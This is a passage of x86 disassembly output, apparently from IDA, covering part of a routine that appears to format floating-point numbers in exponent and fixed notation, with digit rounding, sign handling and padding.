; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054234:				; CODE XREF: sub_8053310+DF9j
		lea	eax, ds:0[edi*4]
		mov	edx, [ebp+var_30]
		mov	[ebp+var_A4], edx
		bsf	ecx, [edx+eax]
		mov	[ebp+var_A0], ecx
		test	edi, edi
		jnz	short loc_805428C
		mov	eax, 1Fh
		sub	eax, esi
		cmp	eax, ecx
		jle	short loc_805429B
		inc	esi
		mov	[ebp+var_9C], esi
		push	esi
		push	ebx
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8058710
		mov	esi, eax
		mov	[ebp+var_28], esi
		lea	edx, [ebx+1]
		mov	[ebp+var_24], edx
		lea	ebx, ds:4[ebx*4]
		mov	ecx, ebx
		add	ecx, [ebp+var_20]
		mov	[ecx-4], esi
		jmp	short loc_80542D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805428C:				; CODE XREF: sub_8053310+F40j
		mov	eax, 1Fh
		sub	eax, esi
		cmp	[ebp+var_A0], eax
		jl	short loc_80542B0

loc_805429B:				; CODE XREF: sub_8053310+F4Bj
		mov	eax, 1Fh
		sub	eax, esi
		push	eax
		sub	ebx, edi
		push	ebx
		lea	eax, ds:0[edi*4]
		jmp	short loc_80542C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80542B0:				; CODE XREF: sub_8053310+F89j
		mov	eax, 1Fh
		sub	eax, esi
		push	eax
		inc	ebx
		sub	ebx, edi
		push	ebx
		lea	eax, ds:0FFFFFFFCh[edi*4]

loc_80542C3:				; CODE XREF: sub_8053310+F9Dj
		add	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8059FB0
		mov	[ebp+var_24], ebx

loc_80542D3:				; CODE XREF: sub_8053310+F7Aj
		add	esp, 10h

loc_80542D6:				; CODE XREF: sub_8053310+C7Bj
					; sub_8053310+D6Dj ...
		dec	[ebp+var_70]
		cmp	[ebp+var_74], offset off_8068DBC
		jz	short loc_80542EC
		cmp	[ebp+var_18], 0
		jg	loc_8053F74

loc_80542EC:				; CODE XREF: sub_8053310+FD0j
		cmp	[ebp+var_18], 0
		jle	loc_805438B
		push	0Ah
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	sub_8058DE0
		mov	[ebp+var_28], eax
		mov	ebx, [ebp+var_24]
		mov	eax, [ebp+var_30]
		bsf	esi, [eax]
		add	esp, 10h
		cmp	[ebp+var_18], 4
		jg	short loc_8054328
		cmp	[ebp+var_18], esi
		jg	short loc_805432D
		jmp	short loc_8054364
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054328:				; CODE XREF: sub_8053310+100Cj
		cmp	esi, 3
		jg	short loc_8054364

loc_805432D:				; CODE XREF: sub_8053310+1011j
		mov	esi, 1Ch
		cmp	[ebp+var_18], 4
		jg	short loc_8054340
		mov	esi, 20h
		sub	esi, [ebp+var_18]

loc_8054340:				; CODE XREF: sub_8053310+1026j
		push	esi
		push	ebx
		mov	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8058710
		mov	esi, eax
		mov	[ebp+var_28], esi
		add	esp, 10h
		test	esi, esi
		jz	short loc_8054384
		mov	eax, [ebp+var_20]
		mov	[eax+ebx*4], esi
		inc	ebx
		jmp	short loc_8054384
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054364:				; CODE XREF: sub_8053310+1013j
					; sub_8053310+101Bj
		mov	esi, 4
		cmp	[ebp+var_18], 4
		jg	short loc_8054372
		mov	esi, [ebp+var_18]

loc_8054372:				; CODE XREF: sub_8053310+105Dj
		push	esi
		push	ebx
		mov	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_8059FB0
		add	esp, 10h

loc_8054384:				; CODE XREF: sub_8053310+1049j
					; sub_8053310+1052j
		mov	[ebp+var_24], ebx
		or	byte ptr [ebp+var_6C], 1

loc_805438B:				; CODE XREF: sub_8053310+FE0j
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_18], eax
		jmp	short loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054394:				; CODE XREF: sub_8053310+C00j
		mov	edx, [ebp+var_58]
		add	edx, [ebp+var_18]
		push	edx
		mov	ecx, [ebp+var_24]
		push	ecx
		lea	eax, [ebp+var_44]
		push	eax
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_8058710
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		mov	ecx, [ebp+var_24]
		shl	ecx, 2
		mov	[ebp+var_A0], ecx
		mov	eax, [ebp+var_20]
		mov	[eax+ecx], ebx
		inc	[ebp+var_24]
		mov	[ebp+var_18], 0
		add	esp, 10h

loc_80543D0:				; CODE XREF: sub_8053310+7E9j
					; sub_8053310+85Aj ...
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+4]
		mov	[ebp+var_78], edx
		mov	[ebp+var_80], 0
		mov	[ebp+var_88], 0
		mov	ecx, [ebp+arg_4]
		movzx	ebx, byte ptr [ecx+8]
		mov	eax, dword_8078FA4
		cmp	dword ptr [eax+ebx*4], 65h
		jnz	short loc_8054420
		mov	[ebp+var_14], ebx
		mov	[ebp+var_7C], 1
		mov	esi, [ecx]
		test	esi, esi
		jge	short loc_8054411
		mov	esi, 6

loc_8054411:				; CODE XREF: sub_8053310+10FAj
		mov	[ebp+var_84], esi
		mov	ebx, esi
		add	ebx, 8
		jmp	short loc_8054466
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054420:				; CODE XREF: sub_8053310+10EAj
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+8], 66h
		jnz	short loc_8054480
		mov	[ebp+var_14], 66h
		mov	esi, [edx]
		test	esi, esi
		jge	short loc_805443B
		mov	esi, 6

loc_805443B:				; CODE XREF: sub_8053310+1124j
		mov	[ebp+var_84], esi
		cmp	[ebp+var_10], 0
		jnz	short loc_805445C
		mov	ecx, [ebp+var_18]
		inc	ecx
		mov	[ebp+var_7C], ecx
		mov	eax, esi
		add	eax, 2
		mov	ebx, eax
		add	ebx, [ebp+var_18]
		jmp	short loc_8054466
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805445C:				; CODE XREF: sub_8053310+1135j
		mov	[ebp+var_7C], 1
		lea	ebx, [esi+2]

loc_8054466:				; CODE XREF: sub_8053310+110Cj
					; sub_8053310+1148j
		mov	[ebp+var_8C], 7FFFFFFFh
		mov	[ebp+var_90], 1
		jmp	loc_8054550
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054480:				; CODE XREF: sub_8053310+1117j
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx], 0
		jl	short loc_80544A0
		mov	ecx, [edx]
		mov	[ebp+var_8C], ecx
		test	ecx, ecx
		jnz	short loc_80544AA
		mov	[ebp+var_8C], 1
		jmp	short loc_80544AA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80544A0:				; CODE XREF: sub_8053310+1176j
		mov	[ebp+var_8C], 6

loc_80544AA:				; CODE XREF: sub_8053310+1182j
					; sub_8053310+118Ej
		cmp	[ebp+var_10], 0
		jnz	short loc_80544C0
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_18], eax
		jge	short loc_80544C6
		jmp	short loc_8054500
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80544C0:				; CODE XREF: sub_8053310+119Ej
		cmp	[ebp+var_18], 4
		jle	short loc_8054500

loc_80544C6:				; CODE XREF: sub_8053310+11A9j
		mov	edx, [ebp+arg_4]
		movzx	edx, byte ptr [edx+8]
		mov	ebx, 65h
		mov	ecx, dword_8078FA0
		test	byte ptr [ecx+edx*2+1],	1
		jz	short loc_80544E4
		mov	ebx, 45h

loc_80544E4:				; CODE XREF: sub_8053310+11CDj
		mov	[ebp+var_14], ebx
		mov	esi, [ebp+var_8C]
		dec	esi
		mov	[ebp+var_7C], 1
		mov	ebx, [ebp+var_8C]
		add	ebx, 7
		jmp	short loc_805452D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054500:				; CODE XREF: sub_8053310+11ABj
					; sub_8053310+11B4j
		mov	[ebp+var_14], 66h
		mov	[ebp+var_7C], 0
		cmp	[ebp+var_10], 0
		jnz	short loc_805451B
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_7C], eax

loc_805451B:				; CODE XREF: sub_8053310+1202j
		mov	esi, [ebp+var_8C]
		sub	esi, [ebp+var_7C]
		mov	ebx, [ebp+var_8C]
		add	ebx, ebx
		inc	ebx

loc_805452D:				; CODE XREF: sub_8053310+11EEj
		mov	[ebp+var_84], 0
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+18h], 0
		jz	short loc_8054546
		mov	[ebp+var_84], esi

loc_8054546:				; CODE XREF: sub_8053310+122Ej
		mov	[ebp+var_90], 0

loc_8054550:				; CODE XREF: sub_8053310+116Aj
		cmp	[ebp+var_50], 0
		jz	short loc_805456E
		mov	ecx, [ebp+var_38]
		push	ecx
		mov	eax, [ebp+var_50]
		push	eax
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_8054C28
		mov	edi, eax
		add	ebx, edi
		add	esp, 0Ch

loc_805456E:				; CODE XREF: sub_8053310+1244j
		lea	eax, [ebx+5]
		and	al, 0FCh
		sub	esp, eax
		lea	edi, [esp+164h+var_162]
		mov	ebx, edi
		cmp	[ebp+var_10], 0
		jz	short loc_805458B
		cmp	[ebp+var_14], 66h
		jz	loc_8054644

loc_805458B:				; CODE XREF: sub_8053310+126Fj
		mov	ecx, [ebp+var_7C]
		cmp	[ebp+var_80], ecx
		jge	short loc_8054612
		mov	eax, ecx
		sub	eax, [ebp+var_80]
		and	eax, 3
		mov	[ebp+var_A4], eax
		jz	short loc_80545DC
		cmp	eax, 1
		jle	short loc_80545C7
		cmp	eax, 2
		jle	short loc_80545BA
		inc	[ebp+var_80]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		inc	ebx

loc_80545BA:				; CODE XREF: sub_8053310+129Bj
		inc	[ebp+var_80]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		inc	ebx

loc_80545C7:				; CODE XREF: sub_8053310+1296j
		inc	[ebp+var_80]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		inc	ebx
		mov	eax, [ebp+var_7C]
		cmp	[ebp+var_80], eax
		jge	short loc_8054612

loc_80545DC:				; CODE XREF: sub_8053310+1291j
					; sub_8053310+1300j
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx+1], al
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx+2], al
		add	[ebp+var_80], 4
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx+3], al
		add	ebx, 4
		mov	edx, [ebp+var_7C]
		cmp	[ebp+var_80], edx
		jl	short loc_80545DC

loc_8054612:				; CODE XREF: sub_8053310+1281j
					; sub_8053310+12CAj
		mov	[ebp+var_90], 1
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_805464B
		cmp	[ebp+var_84], 0
		jg	short loc_805464B
		test	esi, esi
		jle	short loc_8054651
		cmp	[ebp+var_24], 1
		jg	short loc_805464B
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax], 0
		jz	short loc_8054651
		jmp	short loc_805464B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054644:				; CODE XREF: sub_8053310+1275j
		mov	byte ptr [ebx],	30h
		inc	ebx
		dec	[ebp+var_18]

loc_805464B:				; CODE XREF: sub_8053310+1313j
					; sub_8053310+131Cj ...
		mov	al, byte ptr [ebp+var_34]
		mov	[ebx], al
		inc	ebx

loc_8054651:				; CODE XREF: sub_8053310+1320j
					; sub_8053310+132Ej
		mov	eax, [ebp+var_84]
		cmp	[ebp+var_88], eax
		jl	short loc_8054676
		cmp	[ebp+var_88], esi
		jge	short loc_80546C8
		nop

loc_8054668:				; CODE XREF: sub_8053310+13B6j
		cmp	[ebp+var_24], 1
		jg	short loc_8054676
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax], 0
		jz	short loc_80546C8

loc_8054676:				; CODE XREF: sub_8053310+134Dj
					; sub_8053310+135Cj ...
		inc	[ebp+var_88]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		cmp	al, 30h
		jz	short loc_8054698
		mov	[ebp+var_90], 1
		jmp	short loc_80546B1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054698:				; CODE XREF: sub_8053310+1377j
		cmp	[ebp+var_90], 0
		jnz	short loc_80546B1
		inc	esi
		cmp	[ebp+var_84], 0
		jle	short loc_80546B1
		inc	[ebp+var_84]

loc_80546B1:				; CODE XREF: sub_8053310+1383j
					; sub_8053310+138Fj ...
		inc	ebx
		mov	edx, [ebp+var_84]
		cmp	[ebp+var_88], edx
		jl	short loc_8054676
		cmp	[ebp+var_88], esi
		jl	short loc_8054668

loc_80546C8:				; CODE XREF: sub_8053310+1355j
					; sub_8053310+1364j
		mov	ecx, ebp
		call	sub_80531DC
		movzx	esi, al
		cmp	esi, 34h
		jle	loc_8054914
		mov	[ebp+var_A4], ebx
		cmp	esi, 35h
		jnz	short loc_80546FE
		cmp	[ebp+var_24], 1
		jnz	short loc_80546FE
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax], 0
		jnz	short loc_80546FE
		test	byte ptr [ebx-1], 1
		jz	loc_8054914

loc_80546FE:				; CODE XREF: sub_8053310+13D4j
					; sub_8053310+13DAj ...
		cmp	[ebp+var_88], 0
		jle	short loc_805474F
		dec	[ebp+var_A4]
		mov	ecx, [ebp+var_A4]
		movzx	ecx, byte ptr [ecx]
		cmp	[ebp+var_34], ecx
		jz	short loc_805474F
		nop

loc_805471C:				; CODE XREF: sub_8053310+1427j
		mov	eax, [ebp+var_A4]
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054739
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		movzx	edx, byte ptr [eax]
		cmp	[ebp+var_34], edx
		jnz	short loc_805471C

loc_8054739:				; CODE XREF: sub_8053310+1415j
		mov	ecx, [ebp+var_A4]
		movzx	ecx, byte ptr [ecx]
		cmp	[ebp+var_34], ecx
		jz	short loc_805474F
		mov	eax, [ebp+var_A4]
		inc	byte ptr [eax]

loc_805474F:				; CODE XREF: sub_8053310+13F5j
					; sub_8053310+1409j ...
		cmp	[ebp+var_88], 0
		jz	short loc_805476A
		mov	edx, [ebp+var_A4]
		movzx	edx, byte ptr [edx]
		cmp	[ebp+var_34], edx
		jnz	loc_8054914

loc_805476A:				; CODE XREF: sub_8053310+1446j
		mov	ecx, [ebp+var_A4]
		movzx	ecx, byte ptr [ecx-1]
		cmp	[ebp+var_34], ecx
		jnz	short loc_805477F
		dec	[ebp+var_A4]

loc_805477F:				; CODE XREF: sub_8053310+1467j
		dec	[ebp+var_A4]
		cmp	[ebp+var_A4], edi
		jb	loc_805485C
		lea	edx, [edi-1]
		mov	eax, edx
		sub	eax, [ebp+var_A4]
		mov	esi, eax
		and	esi, 3
		cmp	[ebp+var_A4], edx
		jle	short loc_80547E5
		test	esi, esi
		jz	short loc_8054800
		cmp	esi, 3
		jge	short loc_80547E5
		cmp	esi, 2
		jge	short loc_80547D0
		mov	eax, [ebp+var_A4]
		cmp	byte ptr [eax],	39h
		jnz	loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax

loc_80547D0:				; CODE XREF: sub_8053310+14A5j
		mov	edx, [ebp+var_A4]
		cmp	byte ptr [edx],	39h
		jnz	short loc_8054846
		mov	byte ptr [edx],	30h
		dec	edx
		mov	[ebp+var_A4], edx

loc_80547E5:				; CODE XREF: sub_8053310+1497j
					; sub_8053310+14A0j
		mov	ecx, [ebp+var_A4]
		cmp	byte ptr [ecx],	39h
		jnz	short loc_8054846
		mov	byte ptr [ecx],	30h
		dec	ecx
		mov	[ebp+var_A4], ecx
		cmp	ecx, edi
		jb	short loc_805485C
		lea	esi, [esi]

loc_8054800:				; CODE XREF: sub_8053310+149Bj
					; sub_8053310+1534j
		mov	eax, [ebp+var_A4]
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	eax, edi
		jnb	short loc_8054800

loc_8054846:				; CODE XREF: sub_8053310+14B0j
					; sub_8053310+14C9j ...
		cmp	[ebp+var_A4], edi
		jb	short loc_805485C
		mov	edx, [ebp+var_A4]
		inc	byte ptr [edx]
		jmp	loc_8054914
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805485C:				; CODE XREF: sub_8053310+147Bj
					; sub_8053310+14ECj ...
		cmp	[ebp+var_14], 66h
		jz	short loc_8054880
		mov	byte ptr [edi],	31h
		cmp	[ebp+var_10], 0
		jnz	short loc_8054874
		mov	esi, [ebp+var_18]
		inc	esi
		jmp	short loc_8054878
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054874:				; CODE XREF: sub_8053310+1559j
		mov	esi, [ebp+var_18]
		dec	esi

loc_8054878:				; CODE XREF: sub_8053310+155Fj
		mov	[ebp+var_18], esi
		jmp	short loc_80548F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054880:				; CODE XREF: sub_8053310+1550j
		mov	ecx, [ebp+var_8C]
		cmp	[ebp+var_80], ecx
		jnz	short loc_80548EC
		dec	edi
		mov	al, byte ptr [ebp+var_34]
		mov	[edi], al
		dec	edi
		mov	byte ptr [edi],	31h
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_80548A7
		cmp	[ebp+var_88], 0
		jle	short loc_80548B5

loc_80548A7:				; CODE XREF: sub_8053310+158Cj
		mov	ecx, [ebp+var_80]
		mov	byte ptr [edi+ecx+2], 30h
		inc	[ebp+var_88]

loc_80548B5:				; CODE XREF: sub_8053310+1595j
		mov	eax, [ebp+var_80]
		add	[ebp+var_88], eax
		mov	[ebp+var_80], 1
		inc	[ebp+var_18]
		mov	edx, [ebp+arg_4]
		movzx	edx, byte ptr [edx+8]
		mov	esi, 65h
		mov	ecx, dword_8078FA0
		test	byte ptr [ecx+edx*2+1],	1
		jz	short loc_80548E6
		mov	esi, 45h

loc_80548E6:				; CODE XREF: sub_8053310+15CFj
		mov	[ebp+var_14], esi
		jmp	short loc_80548F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80548EC:				; CODE XREF: sub_8053310+1579j
		dec	edi
		mov	byte ptr [edi],	31h
		inc	[ebp+var_80]

loc_80548F3:				; CODE XREF: sub_8053310+156Bj
					; sub_8053310+15D9j
		mov	esi, [ebp+var_80]
		add	esi, [ebp+var_88]
		cmp	[ebp+var_8C], esi
		jge	short loc_8054914
		mov	eax, esi
		sub	eax, [ebp+var_8C]
		sub	ebx, eax
		sub	[ebp+var_88], eax

loc_8054914:				; CODE XREF: sub_8053310+13C5j
					; sub_8053310+13E8j ...
		mov	eax, [ebp+var_84]
		cmp	[ebp+var_88], eax
		jle	short loc_805493F
		lea	esi, [esi]

loc_8054924:				; CODE XREF: sub_8053310+162Dj
		cmp	byte ptr [ebx-1], 30h
		jnz	short loc_805493F
		dec	ebx
		dec	[ebp+var_88]
		mov	edx, [ebp+var_84]
		cmp	[ebp+var_88], edx
		jg	short loc_8054924

loc_805493F:				; CODE XREF: sub_8053310+1610j
					; sub_8053310+1618j
		cmp	[ebp+var_88], 0
		jnz	short loc_805495B
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_805495B
		movzx	eax, byte ptr [ebx-1]
		cmp	[ebp+var_34], eax
		jnz	short loc_805495B
		dec	ebx

loc_805495B:				; CODE XREF: sub_8053310+1636j
					; sub_8053310+163Fj ...
		cmp	[ebp+var_50], 0
		jz	short loc_8054979
		mov	eax, [ebp+var_38]
		push	eax
		mov	edx, [ebp+var_50]
		push	edx
		mov	ecx, [ebp+var_80]
		push	ecx
		push	ebx
		push	edi
		call	sub_8054C7C
		mov	ebx, eax
		add	esp, 14h

loc_8054979:				; CODE XREF: sub_8053310+164Fj
		cmp	[ebp+var_14], 66h
		jz	loc_8054A32
		mov	al, byte ptr [ebp+var_14]
		mov	[ebx], al
		inc	ebx
		mov	esi, ebx
		inc	ebx
		mov	byte ptr [ebp+var_A4], 2Bh
		cmp	[ebp+var_10], 0
		jz	short loc_80549A0
		mov	byte ptr [ebp+var_A4], 2Dh

loc_80549A0:				; CODE XREF: sub_8053310+1687j
		mov	al, byte ptr [ebp+var_A4]
		mov	[esi], al
		mov	[ebp+var_A0], 0Ah
		mov	edx, [ebp+var_A0]
		cmp	[ebp+var_18], edx
		jl	short loc_80549DA
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80549C0:				; CODE XREF: sub_8053310+16C8j
		mov	ecx, [ebp+var_A0]
		lea	ecx, [ecx+ecx*8]
		add	[ebp+var_A0], ecx
		mov	eax, [ebp+var_A0]
		cmp	[ebp+var_18], eax
		jge	short loc_80549C0

loc_80549DA:				; CODE XREF: sub_8053310+16ABj
		cmp	[ebp+var_18], 9
		jg	short loc_80549E8
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_8054A29
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80549E8:				; CODE XREF: sub_8053310+16CEj
					; sub_8053310+1717j
		mov	eax, [ebp+var_A0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp+var_A0], eax
		mov	esi, [ebp+var_18]
		mov	eax, esi
		cdq
		idiv	[ebp+var_A0]
		mov	esi, eax
		add	al, 30h
		mov	[ebx], al
		inc	ebx
		mov	esi, [ebp+var_18]
		mov	eax, esi
		cdq
		idiv	[ebp+var_A0]
		mov	esi, edx
		mov	[ebp+var_18], esi
		cmp	[ebp+var_A0], 0Ah
		jg	short loc_80549E8

loc_8054A29:				; CODE XREF: sub_8053310+16D4j
		mov	cl, byte ptr [ebp+var_18]
		add	cl, 30h
		mov	[ebx], cl
		inc	ebx

loc_8054A32:				; CODE XREF: sub_8053310+166Dj
		cmp	[ebp+var_3C], 0
		jnz	short loc_8054A47
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_8054A47
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_8054A4A

loc_8054A47:				; CODE XREF: sub_8053310+1726j
					; sub_8053310+172Fj
		dec	[ebp+var_78]

loc_8054A4A:				; CODE XREF: sub_8053310+1735j
		mov	edx, ebx
		sub	edx, edi
		sub	[ebp+var_78], edx
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jnz	short loc_8054A8C
		cmp	byte ptr [ecx+2Ch], 30h
		jz	short loc_8054A8C
		cmp	[ebp+var_78], 0
		jle	short loc_8054A8C
		mov	eax, [ebp+var_78]
		push	eax
		movzx	edx, byte ptr [ecx+2Ch]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8062534
		mov	esi, eax
		add	esp, 0Ch
		cmp	[ebp+var_78], esi
		jnz	loc_8054BD6
		mov	eax, [ebp+var_78]
		add	[ebp+var_5C], eax

loc_8054A8C:				; CODE XREF: sub_8053310+1748j
					; sub_8053310+174Ej ...
		cmp	[ebp+var_3C], 0
		jz	short loc_8054ACC
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_8054AB8
		push	2Dh
		push	ecx

loc_8054AA3:				; CODE XREF: sub_8053310+17D6j
					; sub_8053310+1806j
		call	sub_8061910
		mov	esi, eax
		add	esp, 8
		cmp	esi, 0FFFFFFFFh
		jz	loc_8054BD6
		jmp	short loc_8054B27
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054AB8:				; CODE XREF: sub_8053310+178Ej
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	byte ptr [eax],	2Dh
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		jmp	short loc_8054B27
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054ACC:				; CODE XREF: sub_8053310+1780j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_8054AFC
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	edx, [ebp+arg_0]
		cmp	[edx+18h], eax
		ja	short loc_8054AE8
		push	2Bh
		push	edx
		jmp	short loc_8054AA3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054AE8:				; CODE XREF: sub_8053310+17D1j
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	byte ptr [ecx],	2Bh
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+14h]
		jmp	short loc_8054B27
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054AFC:				; CODE XREF: sub_8053310+17C3j
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_8054B2A
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	eax, [ebp+arg_0]
		cmp	[eax+18h], ecx
		ja	short loc_8054B18
		push	20h
		push	eax
		jmp	short loc_8054AA3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054B18:				; CODE XREF: sub_8053310+1801j
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	byte ptr [edx],	20h
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+14h]

loc_8054B27:				; CODE XREF: sub_8053310+17A6j
					; sub_8053310+17B7j ...
		inc	[ebp+var_5C]

loc_8054B2A:				; CODE XREF: sub_8053310+17F3j
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_8054B5E
		cmp	byte ptr [eax+2Ch], 30h
		jnz	short loc_8054B5E
		cmp	[ebp+var_78], 0
		jle	short loc_8054B5E
		mov	edx, [ebp+var_78]
		push	edx
		push	30h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8062534
		mov	esi, eax
		add	esp, 0Ch
		cmp	[ebp+var_78], esi
		jnz	short loc_8054BD6
		mov	eax, [ebp+var_78]
		add	[ebp+var_5C], eax

loc_8054B5E:				; CODE XREF: sub_8053310+1821j
					; sub_8053310+1827j ...
		sub	ebx, edi
		cmp	ebx, 14h
		jle	short loc_8054BE3
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+50h]
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	eax, [edx+34h]
		call	eax
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_8054BD6
		add	[ebp+var_5C], ebx
		jmp	short loc_8054BEA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054B84:				; CODE XREF: sub_8053310+18D8j
		movzx	esi, byte ptr [edi]
		inc	edi
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_8054BB4
		mov	eax, esi
		movzx	esi, al
